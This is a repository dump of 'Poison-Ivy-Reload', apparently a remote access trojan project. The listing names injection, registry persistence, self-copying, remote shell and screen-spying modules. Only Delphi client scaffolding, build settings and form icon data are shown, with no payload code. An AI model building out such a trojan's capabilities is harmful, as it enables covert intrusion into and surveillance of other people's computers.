Repository: killeven/Poison-Ivy-Reload
Branch: master
Commit: c1edcd709dd7
Files: 106
Total size: 1.4 MB
Directory structure:
gitextract_0xxiom53/
├── Client/
│ ├── Client.dpr
│ ├── Client.dproj
│ ├── Client.res
│ ├── FormMain.dfm
│ ├── FormMain.pas
│ ├── FormOperate.dfm
│ ├── FormOperate.pas
│ ├── SimpleMsgPack.pas
│ ├── UnitBuilder.pas
│ ├── UnitClientContext.pas
│ ├── UnitCommon.pas
│ ├── UnitCompress.pas
│ ├── UnitCountryInfo.pas
│ ├── UnitFormDns.dfm
│ ├── UnitFormDns.pas
│ ├── UnitGlobal.pas
│ ├── UnitRC4.pas
│ ├── UnitShellCodes.pas
│ └── shellcodes.obj
├── Readme.md
└── loader v1.0/
├── extra_function/
│ ├── add_startup_activex_x86.asm
│ ├── add_startup_hklm_x86.asm
│ ├── build.bat
│ ├── connect_by_socks5.asm
│ ├── copy_self_x86.asm
│ ├── find_process_by_name_x86.asm
│ ├── get_kernel32_base_x64.asm
│ ├── get_ntdll_base_x64.asm
│ ├── get_proc_from_hash_x64.asm
│ ├── inject_to_explorer_code_x64_init.asm
│ └── utf16
├── functions/
│ ├── calc_hash.py
│ ├── convert_typedef.py
│ ├── functions/
│ │ ├── ReadMe.txt
│ │ ├── Release/
│ │ │ ├── cmd_shell.obj
│ │ │ ├── functions.Build.CppClean.log
│ │ │ ├── functions.log
│ │ │ ├── functions.obj
│ │ │ ├── functions.tlog/
│ │ │ │ ├── CL.read.1.tlog
│ │ │ │ ├── CL.write.1.tlog
│ │ │ │ ├── cl.command.1.tlog
│ │ │ │ ├── functions.lastbuildstate
│ │ │ │ ├── link.command.1.tlog
│ │ │ │ ├── link.read.1.tlog
│ │ │ │ └── link.write.1.tlog
│ │ │ ├── information.obj
│ │ │ ├── process.obj
│ │ │ ├── screenspy.obj
│ │ │ ├── shellcode_main.obj
│ │ │ ├── thumbnail.obj
│ │ │ └── vc120.pdb
│ │ ├── apis.inc
│ │ ├── bitmap.inc
│ │ ├── buffer.inc
│ │ ├── cmd_shell.c
│ │ ├── define.inc
│ │ ├── extra.inc
│ │ ├── functions.c
│ │ ├── functions.vcxproj
│ │ ├── functions.vcxproj.filters
│ │ ├── functions.vcxproj.user
│ │ ├── global_data.h
│ │ ├── information.c
│ │ ├── msgpack_lite.inc
│ │ ├── order.txt
│ │ ├── process.c
│ │ ├── proto.inc
│ │ ├── screenspy.c
│ │ ├── shellcode.inc
│ │ ├── shellcode_main.c
│ │ ├── shellcodes.h
│ │ └── thumbnail.c
│ ├── functions.sln
│ ├── functions.txt
│ └── readme.txt
├── include/
│ ├── global.inc
│ ├── useful.inc
│ ├── utf16
│ ├── utf16.inc
│ └── win32_extra.inc
├── loader_function/
│ ├── loader_function/
│ │ ├── ReadMe.txt
│ │ ├── apis.inc
│ │ ├── global_data.h
│ │ ├── inject_to_explorer.c
│ │ ├── inject_to_explorer_code_x86.c
│ │ ├── loader_function.cpp
│ │ ├── loader_function.vcxproj
│ │ ├── loader_function.vcxproj.filters
│ │ ├── loader_function.vcxproj.user
│ │ ├── order_x64.txt
│ │ ├── order_x86.txt
│ │ ├── rc4.c
│ │ ├── shellcode.inc
│ │ ├── shellcodes.h
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ ├── targetver.h
│ │ └── x64_code.c
│ └── loader_function.sln
├── loader_main/
│ ├── loader_main.asm
│ └── utf16
├── loader_test.asm
├── shellcodes/
│ ├── shellcodes.asm
│ └── shellcodes.obj
├── utf16
└── 文档.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: Client/Client.dpr
================================================
program Client;
uses
Vcl.Forms,
FormMain in 'FormMain.pas' {MainForm},
UnitClientContext in 'UnitClientContext.pas',
UnitGlobal in 'UnitGlobal.pas',
UnitRC4 in 'UnitRC4.pas',
UnitCompress in 'UnitCompress.pas',
SimpleMsgPack in 'SimpleMsgPack.pas',
UnitShellCodes in 'UnitShellCodes.pas',
UnitCountryInfo in 'UnitCountryInfo.pas',
UnitCommon in 'UnitCommon.pas',
UnitFormDns in 'UnitFormDns.pas' {DnsForm},
UnitBuilder in 'UnitBuilder.pas',
FormOperate in 'FormOperate.pas' {OperateForm};
{$R *.res}
begin
Application.Initialize;
Application.MainFormOnTaskbar := True;
Application.CreateForm(TMainForm, MainForm);
Application.CreateForm(TDnsForm, DnsForm);
Application.Run;
end.
================================================
FILE: Client/Client.dproj
================================================
{F6DCBBE4-90FC-43E1-8FE7-B3672DD4BEE9}
17.2
VCL
Client.dpr
True
Release
Win32
1
Application
true
true
Base
true
true
Base
true
true
Base
true
true
Cfg_1
true
true
true
Base
true
true
Cfg_2
true
true
System;Xml;Data;Datasnap;Web;Soap;Vcl;Vcl.Imaging;Vcl.Touch;Vcl.Samples;Vcl.Shell;$(DCC_Namespace)
Client
$(BDS)\bin\delphi_PROJECTICON.ico
.\$(Platform)\$(Config)
.\$(Platform)\$(Config)
false
false
false
false
false
$(BDS)\bin\default_app.manifest
FireDACTDataDriver;FireDACSqliteDriver;FireDACDSDriver;DBXSqliteDriver;FireDACPgDriver;fmx;IndySystem;TeeDB;tethering;vclib;DBXInterBaseDriver;DataSnapClient;DataSnapCommon;DataSnapServer;DataSnapProviderClient;DBXSybaseASEDriver;DbxCommonDriver;vclimg;dbxcds;DatasnapConnectorsFreePascal;appanalytics;vcldb;vcldsnap;fmxFireDAC;DBXDb2Driver;DBXOracleDriver;CustomIPTransport;vclribbon;dsnap;IndyIPServer;fmxase;vcl;IndyCore;DBXMSSQLDriver;CloudService;IndyIPCommon;FmxTeeUI;FireDACIBDriver;DataSnapFireDAC;FireDACDBXDriver;soapserver;inetdbxpress;dsnapxml;FireDACInfxDriver;FireDACDb2Driver;adortl;FireDACASADriver;bindcompfmx;FireDACODBCDriver;RESTBackendComponents;emsclientfiredac;rtl;dbrtl;DbxClientDriver;FireDACCommon;bindcomp;inetdb;Tee;DBXOdbcDriver;ibmonitor;vclFireDAC;xmlrtl;DataSnapNativeClient;ibxpress;svnui;IndyProtocols;DBXMySQLDriver;FireDACCommonDriver;bindcompdbx;bindengine;vclactnband;FMXTee;soaprtl;TeeUI;bindcompvcl;vclie;FireDACADSDriver;vcltouch;emsclient;VCLRESTComponents;FireDAC;DBXInformixDriver;FireDACMSSQLDriver;Intraweb;VclSmp;DataSnapConnectors;DataSnapServerMidas;DBXFirebirdDriver;dsnapcon;inet;fmxobj;FireDACMySQLDriver;soapmidas;vclx;svn;DBXSybaseASADriver;FireDACOracleDriver;fmxdae;RESTComponents;VirtualTreesR;CoolTrayIcon;dbexpress;FireDACMSAccDriver;DataSnapIndy10ServerTransport;IndyIPClient;$(DCC_UsePackage)
true
Winapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace)
1033
CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=
FireDACTDataDriver;FireDACSqliteDriver;FireDACDSDriver;DBXSqliteDriver;FireDACPgDriver;fmx;IndySystem;TeeDB;tethering;vclib;DBXInterBaseDriver;DataSnapClient;DataSnapCommon;DataSnapServer;DataSnapProviderClient;DBXSybaseASEDriver;DbxCommonDriver;vclimg;dbxcds;DatasnapConnectorsFreePascal;appanalytics;vcldb;vcldsnap;fmxFireDAC;DBXDb2Driver;DBXOracleDriver;CustomIPTransport;vclribbon;dsnap;IndyIPServer;fmxase;vcl;IndyCore;DBXMSSQLDriver;CloudService;IndyIPCommon;FmxTeeUI;FireDACIBDriver;DataSnapFireDAC;FireDACDBXDriver;soapserver;inetdbxpress;dsnapxml;FireDACInfxDriver;FireDACDb2Driver;adortl;FireDACASADriver;bindcompfmx;FireDACODBCDriver;RESTBackendComponents;emsclientfiredac;rtl;dbrtl;DbxClientDriver;FireDACCommon;bindcomp;inetdb;Tee;DBXOdbcDriver;ibmonitor;vclFireDAC;xmlrtl;DataSnapNativeClient;ibxpress;IndyProtocols;DBXMySQLDriver;FireDACCommonDriver;bindcompdbx;bindengine;vclactnband;FMXTee;soaprtl;TeeUI;bindcompvcl;vclie;FireDACADSDriver;vcltouch;emsclient;VCLRESTComponents;FireDAC;DBXInformixDriver;FireDACMSSQLDriver;Intraweb;VclSmp;DataSnapConnectors;DataSnapServerMidas;DBXFirebirdDriver;dsnapcon;inet;fmxobj;FireDACMySQLDriver;soapmidas;vclx;DBXSybaseASADriver;FireDACOracleDriver;fmxdae;RESTComponents;VirtualTreesR;dbexpress;FireDACMSAccDriver;DataSnapIndy10ServerTransport;IndyIPClient;$(DCC_UsePackage)
DEBUG;$(DCC_Define)
true
false
true
true
true
true
1033
Client_Icon.ico
false
false
RELEASE;$(DCC_Define)
0
0
1033
Client_Icon1.ico
None
true
CompanyName=;FileDescription=Poison Ivy Reload;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=
MainSource
dfm
dfm
dfm
Cfg_2
Base
Base
Cfg_1
Base
Delphi.Personality.12
Application
Client.dpr
Microsoft Office 2000 Sample Automation Server Wrapper Components
Microsoft Office XP Sample Automation Server Wrapper Components
Client.exe
true
Client.exe
true
1
.dylib
0
.bpl
Contents\MacOS
1
.dylib
1
.dylib
1
.dylib
1
.dylib
0
.dll;.bpl
Contents\MacOS
1
.dylib
1
.dylib
1
.dylib
1
1
1
Contents
1
..\$(PROJECTNAME).app.dSYM\Contents\Resources\DWARF
1
..\$(PROJECTNAME).app.dSYM\Contents\Resources\DWARF
1
res\drawable-normal
1
library\lib\x86
1
1
1
1
../
1
library\lib\armeabi-v7a
1
1
1
1
res\drawable-xlarge
1
res\drawable-xhdpi
1
1
1
1
res\drawable-xxhdpi
1
library\lib\mips
1
res\drawable
1
Contents\MacOS
1
1
0
Contents\MacOS
1
.framework
0
res\drawable-small
1
../
1
../
1
Contents\MacOS
1
1
Contents\MacOS
0
classes
1
1
1
1
1
1
1
res\drawable
1
Contents\Resources
1
1
1
1
1
1
library\lib\armeabi-v7a
1
1
0
Contents\MacOS
1
1
1
library\lib\armeabi
1
res\drawable-large
1
0
0
0
Contents\MacOS
0
0
0
1
1
1
res\drawable-ldpi
1
res\values
1
1
1
1
res\drawable-mdpi
1
res\drawable-hdpi
1
1
True
False
12
================================================
FILE: Client/FormMain.dfm
================================================
object MainForm: TMainForm
Left = 0
Top = 0
ActiveControl = PageControl_Main
Caption = 'Poison Ivy Reload'
ClientHeight = 587
ClientWidth = 967
Color = clBtnFace
Constraints.MinHeight = 180
Constraints.MinWidth = 558
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
Icon.Data = {
0000010001003030000001000000A82500001600000028000000300000006000
0000010020000000000080250000000000000000000000000000000000000000
00000000000000000000000000000000000000000000313131032929297D4646
462D000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002F2F2F08353535F73D3D
3DE9454545590000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000282828776464
64FE3F3F3FFB3F3F3F2F00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000003F3F3F043030
30964E4E4EFC292929CD33333307000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00002E2E2E8B494949FF2828289C000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000033333303202020973B3B3BFE202020620000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000001515152817171710000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000003333330B262626BE363636FC2929295B00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002323230C1E1E1E611F1F
1FAC171717F7202020FF141414AA1D1D1D241B1B1B4E23232371181818891919
192B000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000002A2A2A09262626CF353535ED2828283A000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000001E1E1E111B1B1B5F262626EC323232FF3A3A
3AFF373737FE3E3E3EFF191919FE212121FF353535FF292929FE232323FF1919
19961F1F1F0A0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000003030302D363636F3373737F02D2D2D230000
0000000000000000000000000000000000000000000000000000000000000000
0000000000001D1D1D071A1A1A861A1A1AEF292929FF393939FE434343FF3F3F
3FFF505050FE3A3A3AFF1E1E1EFE313131FF2D2D2DFF3F3F3FFE515151FF1C1C
1CFF232323E21C1C1C7000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000002727273D3F3F3FFB2C2C2CDE2D2D
2D0F000000000000000000000000000000000000000000000000000000000000
00002727270F1C1C1CD0212121FF3E3E3EFF3A3A3AFF484848FF676767FF5656
56FF595959FF525252FF3C3C3CFF464646FF545454FF565656FF444444FF3E3E
3EFF3E3E3EFF2F2F2FFF1C1C1CBD2020204225252513212121131E1E1E130000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000212121603B3B3BFA2323
23BE2C2C2C0D0000000000000000000000000000000000000000000000000000
00001F1F1F8E2E2E2EFF444444FE585858FF595959FF585858FE737373FF6C6C
6CFF727272FE5A5A5AFF565656FE676767FF626262FF454545FE5D5D5DFF5656
56FF363636FE353535FF333333FF323232FE1D1D1DFF2D2D2DFF171717F50000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000002626267D4C4C
4CFF242424B80000000000000000000000000000000000000000000000002D2D
2D252F2F2FFB4F4F4FFF7A7A7AFF767676FF5C5C5CFF666666FF777777FF7474
74FF6D6D6DFF6D6D6DFF4F4F4FFF434343FF555555FF272727FF4E4E4EFF5151
51FF565656FF636363FF585858FF575757FF333333FF1B1B1BCB1B1B1B2F0000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000002121
21954E4E4EFE1F1F1FA034343403000000000000000000000000000000002424
24A5565656FF737373FF7E7E7EFE5F5F5FFF636363FF676767FE797979FF7474
74FF666666FE676767FF3E3E3EFE414141FF606060FF676767FE565656FF5252
52FF515151FE636363FF4D4D4DFF383838FE2222227300000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000034343417313131273131
312F212121CD5C5C5CFF262626A3000000000000000000000000000000003939
39F5515151FF6D6D6DFF7B7B7BFE606060FF585858FF646464FE707070FF6060
60FF535353FE646464FF555555FE656565FF2F2F2FFF575757FE6F6F6FFF7070
70FF6D6D6DFE5B5B5BFF5D5D5DFF2B2B2BCB3737370B00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000003636360E252525781F1F1FD1262626F7454545FF4F4F
4FFF3F3F3FFF505050FF5A5A5AFD3131316C00000000000000003939391C4444
44FF484848FF6A6A6AFF707070FF585858FF5A5A5AFF606060FF6F6F6FFF5B5B
5BFF525252FF5C5C5CFF444444FF646464FF777777FF777777FF7D7D7DFF7070
70FF727272FF727272FF363636F54242421A0000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000003333334F2A2A2AEC484848FF5F5F5FFF6F6F6FFE7D7D7DFF8686
86FF7F7F7FFE797979FF636363FF323232F735353550000000002A2A2A3D4E4E
4EFE484848FF5A5A5AFF595959FE525252FF646464FF636363FE616161FF4B4B
4BFF5C5C5CFE767676FF7C7C7CFE7B7B7BFF727272FF737373FE7E7E7EFF7C7C
7CFF717171FE494949FF2B2B2B87000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000022222251202020ED5C5C5CFE6E6E6EFF707070FF7C7C7CFE838383FF8989
89FF858585FE848484FF7F7F7FFF636363FF242424EF2E2E2E2D2B2B2B3D4242
42FE404040FF555555FF676767FE5C5C5CFF424242FF555555FE616161FF6E6E
6EFF6D6D6DFE7C7C7CFF757575FE717171FF7D7D7DFF7B7B7BFE777777FF6363
63FF393939FE2F2F2FA63D3D3D07000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000002020
2062303030FC464646FF575757FE6B6B6BFF7D7D7DFF7D7D7DFE828282FF8787
87FF838383FE828282FF747474FF5E5E5EFF5A5A5AFE2F2F2FEA202020993B3B
3BFE5A5A5AFF575757FF4F4F4FFE555555FF595959FF636363FE838383FF7171
71FF5B5B5BFE707070FF7D7D7DFE7B7B7BFF676767FF747474FE7B7B7BFF6969
69FF2B2B2B9C0000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002A2A2A07212121742727
27F5464646FF656565FF797979FF838383FF878787FF838383FF767676FF7171
71FF727272FF787878FF676767FF575757FF6A6A6AFF757575FF555555FF4242
42FF696969FF737373FF767676FF7E7E7EFF727272FF676767FF656565FF7777
77FF787878FF646464FF636363FF747474FF696969FF5E5E5EFF444444FF2626
26CC3D3D3D120000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000031313117202020D4333333FF5151
51FE545454FF5F5F5FFF787878FE838383FF8E8E8EFF8E8E8EFE898989FF8585
85FF7A7A7AFE737373FF656565FF585858FF545454FE3F3F3FFF202020FF1616
16FE333333FF707070FF727272FE6B6B6BFF7B7B7BFF818181FE6B6B6BFF6262
62FF7B7B7BFE737373FF686868FE565656FF535353FF383838E72C2C2C7E3B3B
3B11000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000343434211A1A1AFE303030FF4040
40FE464646FF626262FF686868FE737373FF747474FF7B7B7BFE727272FF7575
75FF797979FE737373FF7B7B7BFF3F3F3FFF5F5F5FFE6A6A6AFF1A1A1AD43131
31FE121212DE232323E7383838FE434343FF505050FF787878FE727272FF6C6C
6CFF4D4D4DFE595959FF646464FE464646FF2B2B2BAA3D3D3D11000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000303030041C1C1CC6474747FF5B5B
5BFF747474FF808080FF808080FF848484FF878787FF888888FF7B7B7BFF7373
73FF6B6B6BFF575757FF636363FF4B4B4BFF4B4B4BFF717171FF242424C12222
228E3B3B3BFA282828452D2D2D3328282871202020B7181818F0323232FF2F2F
2FFF2C2C2CED2A2A2AB52A2A2A942D2D2D380000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000252525A0464646FE6C6C6CFF6868
68FE696969FF717171FF797979FE7B7B7BFF7C7C7CFF7A7A7AFE797979FF7E7E
7EFF7C7C7CFE686868FF5B5B5BFF494949FF484848FE616161FF1C1C1CC12D2D
2D0F393939EB333333E9212121801C1C1CC4262626EA393939FE3F3F3FFF3030
30FF242424DC212121A12C2C2C642727271C0000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000027272731282828FB5A5A5AFE575757FF7272
72FE7A7A7AFF878787FF8A8A8AFE848484FF808080FF797979FE636363FF5353
53FF737373FE6C6C6CFF585858FF5C5C5CFF646464FE484848FF232323972929
29151A1A1AEF5F5F5FFF444444FE656565FF7A7A7AFF7D7D7DFE7E7E7EFF7171
71FF6B6B6BFE4B4B4BFF2C2C2CFE212121F9191919B720202052282828070000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000002929299F454545FF717171FF838383FF8888
88FF868686FF858585FF848484FF858585FF858585FF7D7D7DFF707070FF7979
79FF7E7E7EFF787878FF6A6A6AFF6A6A6AFF696969FF353535FF262626471515
15AA313131FF666666FF797979FF7B7B7BFF7E7E7EFF7E7E7EFF797979FF7979
79FF797979FF757575FF656565FF565656FF434343FF343434FF252525F52828
28762D2D2D050000000000000000000000000000000000000000000000000000
0000000000000000000000000000232323C44F4F4FFF606060FE636363FF7A7A
7AFE7F7F7FFF818181FF787878FE6C6C6CFF676767FF555555FE7B7B7BFF8080
80FF777777FE757575FF707070FF6B6B6BFF636363FE242424BC2626267C2525
25FE4C4C4CFF454545FF808080FE848484FF868686FF808080FE7F7F7FFF7B7B
7BFF7E7E7EFE797979FF717171FE6C6C6CFF646464FF535353FE424242FF3131
31FF262626B82828280900000000000000000000000000000000000000000000
000000000000000000002424242A212121F84B4B4BFF5D5D5DFE777777FF8383
83FE828282FF828282FF797979FE6E6E6EFF6E6E6EFF818181FE7F7F7FFF8383
83FF717171FE737373FF7E7E7EFF616161FF424242FE282828511A1A1AF45555
55FE4C4C4CFF484848FF5C5C5CFE6A6A6AFF6F6F6FFF717171FE6B6B6BFF6969
69FF585858FE606060FF5F5F5FFE575757FF636363FF626262FE4B4B4BFF4242
42FF2C2C2CFE1A1A1AA000000000000000000000000000000000000000000000
000000000000000000002222228B393939FF5C5C5CFF6F6F6FFF7E7E7EFF7979
79FF6B6B6BFF656565FF646464FF6B6B6BFF717171FF818181FF828282FF7E7E
7EFF606060FF606060FF747474FF393939FF282828B024242483424242FF6666
66FF454545FF515151FF4C4C4CFF717171FF757575FF7F7F7FFF868686FF8484
84FF868686FF7E7E7EFF7C7C7CFF7D7D7DFF717171FF5B5B5BFF4A4A4AFF4A4A
4AFF383838FF1D1D1DFF1515156B000000000000000000000000000000000000
00000000000000000000131313E02F2F2FFF575757FF636363FE818181FF7D7D
7DFE787878FF606060FF575757FE5E5E5EFF636363FF878787FE838383FF7070
70FF4F4F4FFE595959FF616161FF181818E230303015252525D3595959FF6060
60FE636363FF414141FF4B4B4BFE5F5F5FFF7A7A7AFF848484FE898989FF8383
83FF828282FE7B7B7BFF787878FE717171FF616161FF515151FE4F4F4FFF3A3A
3AFF303030FE161616FF101010FB1111113A0000000000000000000000000000
000000000000000000001A1A1A8B2D2D2DFF5A5A5AFF737373FE7B7B7BFF7777
77FE6D6D6DFF656565FF5F5F5FFE696969FF6C6C6CFF868686FE808080FF6666
66FF505050FE4F4F4FFF323232FA2C2C2C533232322A272727F84F4F4FFF7575
75FE737373FF434343FF5F5F5FFE545454FF595959FF4C4C4CFE535353FF5050
50FF484848FE424242FF323232FE2D2D2DFF3B3B3BFF3A3A3AFE303030FF2D2D
2DFF2A2A2AFE1C1C1CFF131313FA131313400000000000000000000000000000
0000000000001D1D1D021D1D1DC6494949FF6A6A6AFF6A6A6AFF6A6A6AFF6161
61FF616161FF686868FF5D5D5DFF797979FF747474FF828282FF7C7C7CFF5151
51FF3F3F3FFF2A2A2AFE222222830000000026262678373737FF5F5F5FFF8282
82FF535353FF636363FF7C7C7CFF636363FF595959FF5D5D5DFF656565FF6F6F
6FFF626262FF6B6B6BFF646464FF636363FF606060FF585858FF3F3F3FFF3D3D
3DFF313131FF343434FF1D1D1DFF1A1A1A280000000000000000000000000000
0000000000001E1E1E281F1F1FFF535353FF767676FF717171FE5B5B5BFF5F5F
5FFE606060FF6A6A6AFF777777FE7F7F7FFF707070FF777777FE6A6A6AFF4A4A
4AFF242424FE1D1D1D7A00000000000000001C1C1CA34A4A4AFF686868FF7575
75FE5D5D5DFF7F7F7FFF7D7D7DFE5A5A5AFF505050FF5A5A5AFE555555FF5757
57FF535353FE696969FF7A7A7AFE828282FF7C7C7CFF6E6E6EFE747474FF6666
66FF616161FE444444FF252525FF2222225C0000000000000000000000000000
0000000000001D1D1D5B2C2C2CFF606060FF737373FF737373FE6B6B6BFF6B6B
6BFE696969FF7E7E7EFF808080FE838383FF6C6C6CFF707070FE3E3E3EFF2C2C
2CF327272744000000000000000000000000171717DB464646FF696969FF6D6D
6DFE7E7E7EFF848484FF6C6C6CFE585858FF3E3E3EFF515151FE606060FF4848
48FF565656FE767676FF858585FE858585FF838383FF858585FE848484FF7575
75FF6A6A6AFE565656FF3A3A3AFF121212D61616160E00000000000000000000
0000000000002323233F343434FF616161FF595959FF6E6E6EFF7E7E7EFF7777
77FF828282FF868686FF848484FF7A7A7AFF5D5D5DFF393939FF292929E92F2F
2F3800000000000000000000000000000000202020E0434343FF6A6A6AFF7777
77FF8A8A8AFF7E7E7EFF575757FF5B5B5BFF6E6E6EFF717171FF565656FF4E4E
4EFF555555FF707070FF6B6B6BFF636363FF575757FF565656FF404040FF3232
32FF353535FF303030FF272727FF101010FF1414141E00000000000000000000
0000000000001E1E1E81373737FF595959FF4E4E4EFF696969FE7D7D7DFF7878
78FE858585FF7D7D7DFF6E6E6EFE626262FF333333FF282828C1313131150000
0000000000000000000000000000000000001C1C1CE0474747FF767676FF7E7E
7EFE828282FF757575FF535353FE626262FF7D7D7DFF737373FE646464FF5252
52FF3D3D3DFE3C3C3CFF4D4D4DFE373737FF3A3A3AFF383838FE393939FF2323
23FF161616FE282828FF2A2A2AFF131313EC1919190B00000000000000000000
0000000000001C1C1CD1444444FF5E5E5EFF5F5F5FFF7D7D7DFE7F7F7FFF7E7E
7EFE878787FF686868FF3B3B3BFE282828BF3636362D37373703000000000000
000000000000000000000000000000000000161616E0444444FF727272FF7C7C
7CFE828282FF636363FF505050FE787878FF7E7E7EFF646464FE4A4A4AFF3F3F
3FFF5D5D5DFE383838FF434343FE5E5E5EFF5D5D5DFF6A6A6AFE686868FF6464
64FF525252FE4A4A4AFF3D3D3DFF161616F51B1B1B2300000000000000000000
0000252525142C2C2CFF505050FF696969FF7A7A7AFF828282FF717171FF5656
56FF565656FF2A2A2AD73434344D000000000000000000000000000000000000
000000000000000000000000000000000000171717BF424242FF5F5F5FFF7878
78FF717171FF525252FF484848FF717171FF777777FF575757FF505050FF6161
61FF4C4C4CFF404040FF464646FF696969FF6A6A6AFF717171FF767676FF6E6E
6EFF5D5D5DFF565656FF404040FF202020FF161616AB00000000000000001A1A
1A011C1C1C8D393939FE3D3D3DFF4C4C4CFF505050FF4B4B4BEA333333B24848
4830414141274747470C00000000000000000000000000000000000000000000
0000000000000000000000000000000000001D1D1D572D2D2DFF575757FF7373
73FE727272FF4E4E4EFF515151FE6D6D6DFF626262FF3F3F3FFE4D4D4DFF6262
62FF565656FE353535FF4F4F4FFE414141FF464646FF474747FE424242FF3737
37FF2F2F2FFE2A2A2AFF2E2E2EFF252525FE121212B500000000000000001414
14A51F1F1FFA2B2B2BBD2C2C2C63444444184B4B4B134F4F4F09000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000262626031C1C1CC13D3D3DFF6D6D
6DFF6A6A6AFF3B3B3BFF575757FF676767FF4F4F4FFF2C2C2CFF5D5D5DFF6E6E
6EFF5B5B5BFF525252FF4E4E4EFF454545FF363636FF434343FF575757FF7575
75FF757575FF686868FF4F4F4FFF282828FF1919193100000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000029292917232323F46262
62FE505050FF333333FF5C5C5CFE575757FF3E3E3EFF2E2E2EFE626262FF6464
64FF6F6F6FFE6A6A6AFF484848FE5C5C5CFF353535FF444444FE444444FF3838
38FF2C2C2CFE272727FF1B1B1BFF141414FE1818181E00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000002525257A3030
30FE373737FF343434FF5A5A5AFE484848FF3C3C3CFF424242FE646464FF5757
57FF6B6B6BFE545454FF585858FE595959FF484848FF2F2F2FFE2C2C2CFF3B3B
3BFF484848FE383838FF1E1E1EFF121212C41919190400000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000232323041111
11E2141414FF1E1E1EFF414141FF313131FF323232FF575757FF5A5A5AFF5959
59FF6B6B6BFF484848FF6A6A6AFF535353FF636363FF4C4C4CFF383838FF3E3E
3EFF434343FF3C3C3CFF1D1D1DFA1C1C1C400000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000001313
135E161616D3161616B0232323FE3C3C3CFF343434FF5E5E5EFE555555FF5050
50FF484848FE484848FF585858FE666666FF595959FF414141FE434343FF4848
48FF484848FE1E1E1EFF202020EA000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000019191904121212C4232323FF2B2B2BFF4D4D4DFE4F4F4FFF5353
53FF474747FE4F4F4FFF4D4D4DFE636363FF484848FF3D3D3DFE414141FF5656
56FF444444FE292929FF181818B6000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000002323231F1A1A1A4E1F1F1F5C171717F0333333FF3131
31FF444444FF353535FF3E3E3EFF494949FF4B4B4BFF414141FF707070FF4545
45FF4C4C4CFF323232FF1C1C1CBB000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
